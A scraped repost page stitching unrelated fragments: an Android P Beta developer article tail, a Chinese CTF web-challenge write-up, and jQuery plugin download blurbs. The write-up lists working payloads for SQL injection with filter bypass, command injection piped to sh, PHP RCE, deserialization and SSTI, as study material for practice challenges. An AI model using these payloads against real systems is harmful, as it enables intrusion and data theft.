Build.SERIAL 限制。 · 公开 API 的兼容性 (Compatibility through public APIs) 针对非 SDK 接口的测试十分重要。正如我们之前所强调的，在 Android P 中，我们将逐渐收紧一些非 SDK 接口的使用，这也要求广大的开发者们，包括 Google 内部的应用团队，使用公开 API。 如果您的应用正在使用私有 Android API 或者库，您需要改为使用 Android SDK 或 NDK 公开的 API。我们在 DP1 里已经对使用私有接口的开发者发出了警告信息，从 Android P Beta 开始，调用非 SDK 接口将会报错 (部分被豁免的私有 API 除外) —— 也就是说您的应用将会遭遇异常，而不再只是警告了。 为了帮助您定位非 SDK API 的使用情况，我们在 StrictMode 里加入了两个新的方法。您可以使用 detectNonSdkApiUsage() 在应用通过反射或 JNI 调用非 SDK API 的时候收到警报，您还可以使用 permitNonSdkApiUsage() 来阻止 StrictMode 针对这些调用报错。这些方法都可助您了解应用调用非 SDK API 的情况，但请注意，即便调用的 API 暂时得到了豁免，最保险的做法依然是尽快放弃对它们的使用。 如果您确实遇到了公开 API 无法满足需求的情况，请立刻告知我们。更多详细内容请查看相关文档。 · 凹口屏测试 (Test with display cutout) 针对凹口屏测试您的应用也十分重要。现在您可以在运行 Android P Beta 的合作伙伴机型上测试，确保您的应用在凹口屏上表现良好。同时，您也可以在 Android P 设备的开发者选项里打开对凹口屏的模拟，对您的应用做相应测试。 体验 Android P 在准备好开发条件后，请深入了解 Android P 并学习可以在您的应用中使用到的全新功能和 API。为了帮助您更轻松地探索和使用新 API，请查阅 API 变化报告 (API 27->DP2, DP1->DP2) 以及 Android P API 文档。访问开发者预览版网站了解详情。 下载/更新 Android P 开发者预览版 SDK 和工具包至 Android Studio 3.1，或使用最新版本的 Android Studio 3.2。如果您手边没有 Android P Beta 设备 (或查看今天推送的次条文章)，请使用 Android P 模拟器来运行和测试您的应用。 您的反馈一直都至关重要，我们欢迎您畅所欲言。如果您在开发或测试过程中遇到了问题，请在文章下方留言给我们。再次感谢大家一路以来的支持。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_34258782/article/details/87952581。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来，这个符号是 esc下面一个的按键，这个符号在mysql里 用于 分割其他命令，表示此为（表名、字段名） 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢？ select 函数被过滤了，其实mysql的函数有很多 这里通过 MYSQL的预处理语句，使用 : concat（'s','elect',' from 1919810931114514'） 完成绕过 构造pyload： 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字，字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说，没有回显，联合查询基本没戏。 好在页面会进行相应的变化，证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回，一种是空白，一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母（除过滤的关键词外）都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符，不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接，但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式：pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接，而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候，mysql也可以把 || 作为字符串拼接。 修改完后，|| 就会被认为是字符串拼接符 MySQL中sql_mode参数，具体的看这里 解题思路1： payload：,1 查询语句：select ,1||flag from Flag 解题思路2： 堆叠注入，使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析： 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入：1’ 为'闭合 2.看字段：1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ，太像了，增加了过滤规则。 修改表名和set均不可用，所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据，也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了：cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。这可能会导致某些软件对get_headers（）的目标做出错误的假设，并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点： cve-2020-7066利用 老套路：先F12查看源码 发现提示：Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾，这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点： .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素，并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节，看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢？<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦！");} }else{die("再好好想想！");} }else{die("还想读flag，臭弟弟！");} }// highlight_file(__FILE__);?> 既然getshell基本不可能，那么考虑读源码 看源码，flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件，例如： <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数： localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点： current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步：读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下，利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数，此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由，就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的，参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的，名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象，hexdigest()是获得加密后的16进制字符串 urllib.unquote(） 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog，且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了：secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为：fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入： /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目： 1.tornado是一个python的模板，可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息，想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞，尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入： 查字段：1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表： [GXYCTF2019]Ping Ping Ping 考察：RCE的防护绕过 直接构造：?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格，使用拼接变量来拼接出Flag字符串： 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么：?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥，flag字眼也过滤了，bash也没了，不过sh没过滤： 继续构造payload： ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码，得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass，具体看这里 HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事： 1.删除空白符2.将某些字符转换为下划线（包括空格） scandir()：列出参数目录中的文件和目录 发现/被过滤了 ，可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload： 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典，要带路径 -r 递归跑(查到一个目录后，重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道，如果password=100，username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时，属性个数的值大于实际属性个数时，就可以 2.private修饰符的问题 private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover， 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法： flask session 伪造 具体，看这里 flask中session是存储在客户端cookie中的，也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显： 1' uniunionon selselectect 1,2,3 over！正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接：https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...章节内容的精确绑定，实现对滚动行为的智能化控制。在使用该插件后，网站可以自动生成一个导航视图，用户点击不同章节时，页面会平滑地滚动到对应位置，确保用户能快速定位并阅读所需内容。与此同时，Viewport.js具有实时滚动状态检测功能，这意味着当用户滚动浏览页面时，不仅能够流畅切换阅读进度，而且导航视图也会动态更新，直观反映当前所在章节及其状态。这一特性有助于提高用户对长篇文章或复杂布局网站的理解和交互性，使得信息架构更为清晰，显著提升整体浏览体验。通过这种精准的滚动控制技术，Viewport.js成功地将网站内容分段管理和展示提升到了一个新的层次。 点我下载 文件大小：99.28 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...框或侧边栏导航等。在实现功能的同时，jquery.popuplayer巧妙地运用了磨砂玻璃效果，使得当弹出层激活时，背景区域会呈现半透明模糊状态，既突出了弹出内容，又保持了与原页面的视觉联系，极大地提升了用户体验和界面设计感。此外，该插件还具备灵活性，能够根据开发者的需求调整弹出层的方向和动画效果，以适应不同场景下的应用需求。通过简单易用的API和丰富的定制选项，开发者可以轻松集成并个性化配置这个插件，从而在各类Web项目中打造令人眼前一亮的弹出交互体验。 点我下载 文件大小：49.83 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...xt.js通过简单的API，让开发者能够根据需要添加个性化菜单项，比如关联操作、快捷功能等。无论是网站导航、内容管理还是数据分析，都能借助这个插件实现直观且高效的用户操作。总的来说，BasicContext.js是一款实用且高度可扩展的工具，为提升网页用户体验增添了一大助力。 点我下载 文件大小：72.04 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...设计用于网页上的内容管理和个性化备忘。它允许用户在浏览页面时创建自定义颜色的便签纸，并且支持自由拖拽到页面上的任何位置，从而实现灵活布局与组织。通过点击右上方的蓝色加号按钮，轻松添加新的便签，并在其中输入所需记录的文字信息。此插件特别注重用户体验和数据持久化，用户编辑完便签内容后，只需点击便签右下角的保存按钮，插件将能够通过回调函数把便签的内容及其在页面上的位置信息保存至文件或数据库中，确保下次访问时便签状态得以恢复。此外，color-sticker插件还支持便签的删除和导入功能，使得用户可以高效管理多个便签并跨设备同步信息。凭借其简洁易用的设计和强大的可定制性，该插件成为提升网站互动性和用户留存率的理想工具。通过纯JavaScript和jQuery技术结合CSS样式，color-sticker成功模拟了桌面便签应用的便捷与乐趣，为网页增添了一抹实用而富有创意的元素。 点我下载 文件大小：68.63 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...插件，开发者可以轻松实现功能丰富且美观的开关按钮，不仅支持自定义颜色以匹配项目主题，还允许设置按钮的状态（如启用或禁用），以及是否显示相关文本标签。更值得一提的是，该插件具备高度灵活性，使得开关按钮能够无缝嵌入到Bootstrap模态窗口中，适应各类复杂布局需求。总之，这款jQuery插件以其便捷的定制性和良好的兼容性，极大地简化了开发者在Bootstrap环境下创建和管理开关控件的过程，是构建现代、专业级Web应用的理想选择。 点我下载 文件大小：227.95 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...开发者在网页中创建和管理各种类型的对话框组件的过程。该插件具有广泛的适用性，能够轻松实现提示框、确认对话框以及自定义对话窗口等常见功能，并确保对包括IE8在内的多种浏览器环境的良好兼容性。其特色在于提供了一键式调用接口，只需简单配置即可实现对话框的展示与控制，比如设置标题、内容、按钮等元素。更重要的是，它支持点击按钮后的回调函数，这意味着开发者可以方便地处理用户交互行为，如根据用户的确认或取消操作执行相应的后续逻辑，大大提升了代码的可维护性和用户体验。总之，这款插件凭借其便捷的API、灵活的定制能力和良好的浏览器兼容性，成为了众多前端开发者在构建复杂Web应用时，进行消息提示和用户交互的理想选择。 点我下载 文件大小：6.28 MB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...ry插件”是一款专为实现谷歌MaterialDesign视觉规范而设计的多功能时间管理工具。它充分利用了jQuery的优势，将MaterialDesign的核心元素如点击波纹反馈、扁平化界面以及流畅的滑动按钮等交互特性融入其中，以增强用户体验。该插件整合了定时器、秒表和闹钟三大功能模块，能够满足用户在网页应用中对时间控制的各种需求。无论是用于设定短期任务倒计时、精确记录事件持续时间，还是设置提醒以避免错过重要时刻，都能轻松实现。开发者可以根据实际应用场景，灵活定制并嵌入到自己的网页项目中。通过简洁明了的API和高度可配置性，开发者可以便捷地调整样式、行为及功能，确保与网站的整体设计和谐统一。总之，这款插件凭借其独特的设计美学和实用功能，为用户提供了一种优雅且高效的在线时间管理解决方案。 点我下载 文件大小：1.01 MB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...了强大的功能和简洁的API来创建平滑且高性能的动画过渡效果。通过集成tween.js库的优势，jQueryTween不仅简化了开发人员在处理各种补间动画时的操作流程，还利用硬件加速技术确保动画运行流畅不卡顿。使用jQueryTween，开发者能够轻松定义元素从起始状态到结束状态的动画过程，无论是改变位置、大小、透明度、颜色等CSS样式属性，还是实现更复杂的动态效果。该插件尤其适合那些希望增强用户体验，提升网站或应用动态视觉表现力的前端开发者。得益于其底层基于tween.js的实现机制，jQueryTween可以在保证动画质量的同时，降低对系统资源的占用，并确保动画在不同设备上的兼容性和一致性。通过简单的配置与调用，即便是不具备丰富动画制作经验的开发者也能快速构建出专业级别的补间动画效果。 点我下载 文件大小：93.83 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...提供直观且实用的日程管理体验。该插件不仅具备基础的日期选择功能，还创新性地融合了备忘录特性，使得用户能够在日历视图中直接关联特定日期与相关信息。在实际应用中，开发者只需将该插件集成到项目中，通过简单的配置和API调用，即可实现用户点击或滑动选取日期的同时，查看并添加当日相关的备忘录内容。这一特性极大地提升了用户体验，方便用户快速查询和记录工作、生活中的重要事件，如同一个嵌入网页的数字化日历备忘录。此外，该插件具有良好的扩展性和定制性，允许开发者根据需求调整样式和功能，如设置日期格式、自定义备忘录显示方式等，以满足不同场景下的应用需求。其友好的交互设计，支持移动端触屏操作，让无论是PC端还是手机端的用户都能享受到便捷高效的日程管理服务。 点我下载 文件大小：54.33 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...元素添加特定属性即可实现动画功能，当页面向上或向下滚动时，相应的元素会按照预设动画进行展示或隐藏，而当页面滚动回原来的位置时，元素又能优雅地恢复到初始状态，确保了页面整体动画体验的一致性和连贯性。aos.js不仅易于集成，通过Bower或npm等包管理工具可轻松安装，并且兼容广泛，能够在现代浏览器中稳定运行，极大地简化了开发者在网站中实现滚动触发动画的设计流程，提升了网页动态效果制作的工作效率与创作自由度。 点我下载 文件大小：94.08 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。

...还是成功、警告、错误状态的通知展示，都能以统一且专业的方式呈现给用户。只需引入jQuery、Bootstrap4相关文件及该插件自身代码，即可实现高度定制化且易于管理的消息对话系统，有效提升Web应用的整体质量和用户的使用体验。 点我下载 文件大小：627.36 KB 您将下载一个JQuery插件资源包，该资源包内部文件的目录结构如下： 本网站提供JQuery插件下载功能，旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容，请立即告知我们，我们将迅速响应并删除相关内容。 免责声明：站内所有资源仅供个人学习研究及参考之用，严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果，由使用者承担责任。